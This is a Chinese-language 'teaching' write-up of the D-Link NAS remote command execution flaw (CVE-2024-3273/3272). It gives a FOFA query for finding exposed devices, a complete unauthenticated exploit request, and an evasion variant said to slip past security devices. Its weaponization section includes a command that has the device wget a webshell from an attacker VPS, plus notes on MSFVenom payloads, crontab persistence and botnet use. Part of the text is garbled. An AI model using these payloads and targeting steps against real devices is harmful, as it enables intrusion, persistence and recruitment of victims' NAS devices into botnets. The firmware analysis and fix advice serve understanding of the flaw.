D-Link NAS 远程命令执行漏洞分析 (CVE-2024-3273/CVE-2024-3272) 教学文档
漏洞概述
本漏洞影响D-Link NAS全线产品,允许攻击者通过未授权远程命令执行获取设备控制权。漏洞存在于/cgi-bin/nas_sharing.cgi文件中,由于对messagebus用户的空密码认证绕过导致。
漏洞复现
环境准备
- 使用FOFA搜索目标:
_fid="hWN+yVVhLzKJaLkd/ITHpA==" && Country !="CN" - 工具准备:
- GitHub工具:Chocapikk/CVE-2024-3273
- Yakit工具
POC测试
发送以下HTTP请求:
GET /cgi-bin/nas_sharing.cgi?user=messagebus&passwd=&cmd=15&system=aWQ= HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Acoo Browser; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506)
Accept-Encoding: identity
Accept: */*
Connection: keep-alive
其中:
system参数值为Base64编码的命令(示例中aWQ=是id命令的Base64编码)- 成功执行会返回命令执行结果
优化POC
更隐蔽的payload格式:
cmd=15&id1=messagebus&id2=&system=aWQ=
这种形式可以绕过某些安全设备的检测。
漏洞分析
固件获取
D-Link DNS-340L固件下载地址:
https://media.dlink.eu/support/products/dns/dns-340l/driver_software/dns-340l_fw_reva1_1-08_eu_multi_20180731.zip
固件解包
使用binwalk解包:
binwalk -Me DNS340.bin
解压后关键文件路径:squashfs-root/cgi/nas_sharing.cgi
代码分析
主要流程
- 程序入口为
cgiMain函数 - 获取传入参数:
cmd:决定执行的操作(漏洞利用使用cmd=15)user/passwd或id1/id2:认证凭据system:要执行的命令(Base64编码)
认证绕过分析
-
认证函数
sub_1E1CC逻辑:- 检查用户名是否在预定义列表中(
root和sshd被排除) - 检查用户名是否在
/etc/shadow中 - 对密码进行哈希校验
- 检查用户名是否在预定义列表中(
-
messagebus用户特性:- 在
/etc/shadow中的哈希为`$1
- 在
\[qRPK7m23GJusamGpoGLby/`(空密码) - 程序中没有`root`和`sshd`的指针,但`messagebus`可用 - 空密码直接通过认证 #### 命令执行流程 1. 获取`system`参数值 2. 使用`sub_1DD88`进行Base64解码 3. 调用`system()`函数执行解码后的命令 4. 返回执行结果 ## 武器化利用 ### 基本利用 1. 上传Webshell: ``` system=$(echo -n "wget http://vps/wodema.php -O /var/www/cgi-bin/wodema.php" | base64) ``` 2. 访问webshell: ``` http://target/cgi-bin/wodema.php ``` ### 注意事项 - 冰蝎和蚁剑马连接可能失败,但手工发送payload可以工作 - PHP反弹shell可能失败,但能收到TCP包 - MSFVenom生成的payload可以成功执行 ### 持久化方法 1. 写入crontab实现持久化 2. 用作僵尸网络节点 ## 修复建议 ### 临时修复方案 1. 通过漏洞或UART Console修改`messagebus`用户密码 ```bash passwd messagebus ``` ### 根本修复方案 1. 修改固件,移除`messagebus`用户的指针 2. 加强认证逻辑,禁止空密码登录 ## 未解问题 1. 为何过滤空格导致含空格的命令无法执行? 2. 为何蚁剑和冰蝎无法正常连接,但手工payload可以工作? ## 总结 该漏洞危害严重,利用简单,影响D-Link NAS全线产品。由于厂商已停止维护,建议用户采取网络隔离或更换设备等防护措施。漏洞利用关键在于`messagebus`用户的空密码认证绕过和未过滤的命令执行功能。\]